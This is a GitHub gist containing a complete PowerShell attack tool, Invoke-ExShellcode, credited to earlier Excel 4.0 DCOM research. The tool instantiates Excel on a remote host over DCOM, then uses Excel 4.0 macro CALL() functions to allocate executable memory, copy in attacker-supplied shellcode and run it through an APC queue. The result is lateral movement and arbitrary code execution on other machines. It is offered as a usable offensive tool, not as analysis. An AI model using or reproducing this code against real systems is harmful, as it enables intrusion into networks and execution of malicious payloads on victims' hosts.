Skip to content

Instantly share code, notes, and snippets.

@Philts
Last active November 28, 2024 18:47
Show Gist options
  • Save Philts/f7c85995c5198e845c70cc51cd4e7e2a to your computer and use it in GitHub Desktop.
Save Philts/f7c85995c5198e845c70cc51cd4e7e2a to your computer and use it in GitHub Desktop.
<#
Lateral movement and shellcode injection via Excel 4.0 macros
Author: Philip Tsukerman (@PhilipTsukerman)
License: BSD 3-Clause
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM
#>
function Invoke-ExShellcode
{
<#
.SYNOPSIS
Inject Shellcode into a local or remote instance of the Excel.Application COM object
.PARAMETER ComputerName
Specify a remote host to inject into.
.PARAMETER Payload
A file containing the shellcode bytes
.PARAMETER x64
Specify the x64 switch to enable x64 shellcode injection
.EXAMPLE
PS > Invoke-ExShellcode -ComputerName server01 -Payload C:\temp\payload.bin -x64
Injects the x64 payload in payload.bin to an x64 Excel instance on server01
.NOTES
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","MachineName","IP","IPAddress","Host")]
[String]
$ComputerName,
[Parameter(Position = 1, Mandatory = $true)]
[Alias("Shellcode")]
[String]
$Payload,
[switch]$x64
)
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
if ($x64) { # If we're injecting to a x64 process, try to allocate memory at an address representable by a DWORD
$lpAddress = 0x50000000
}
else {
$lpAddress = 0
}
$sc = Get-Content -Encoding Byte $Payload
# Allocate a buffer for shellcode
$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",'+$lpAddress+',' + $sc.length + ',12288,64)')
if ($memaddr -eq 0) {throw "ERROR - Could not allocate memory buffer" }
# Build a series of strings from which to copy our shellcode, without exceeding maximum macro size, and write the bytes to our buffer
$count = 0 # Bytes Processed by our loop
$string = "" # Current byte string to be written in our buffer
$curlength = 0 # Length of the current string as a byte buffer
$cursor = 0 # Offset from the bae of the buffer to which we write the current byte string
foreach ($byte in $sc) {
if ($byte -eq 0) {
# The string datatype can't handle zero bytes, so we give them special treatment
if ($curlength -gt 0) {
# If there's already a buffer to write, flush it
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')')
}
# just skip the zero byte, as VirtualAlloc initializes our buffer to zeroes anyway
$curlength = 0
$string = ""
$count += 1
continue
}
if ($curlength -eq 0 ) {
# This is the beginning
$cursor = $count
$string += "CHAR`($byte`)"
}
else {
# If we're in the middle of a string, prepend '&' to the byte value to concatnate it to the previous one
$string += "&CHAR`($byte`)"
}
$curlength += 1
if ($string.Length -ge 150) {
# Flush and write the current byte string to the target buffer
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')')
$string = ""
$curlength = 0
}
$count += 1
# Call Write-Progress for every 10 bytes processed, the progress bar adds considerable performance overhead and should not be called for every byte
if ($count % 10 -eq 0) {Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)}
}
if ($curlength -gt 0) {
# Write any leftover bytes to the buffer
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')')
}
# Queue an APC with the address of the shellcode to the current thread. Seems like there's a single thread handling our macros, so the next CALL will be still handled by the same thread
$excel.ExecuteExcel4Macro('CALL("Kernel32","QueueUserAPC","JJJJ", ' + $memaddr + ', -2, 0)')
# NtTestAlert will flush the current thread's APC cache, and execute our shellcode
# The Start-Job timeout hack exists here as otherwise the command will hang until the shellcode returns (and crashes the process)
Start-Job {param($excel)$excel.ExecuteExcel4Macro('CALL("ntdll", "NtTestAlert", "J")')} -ArgumentList $excel |Wait-Job -timeout 1
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment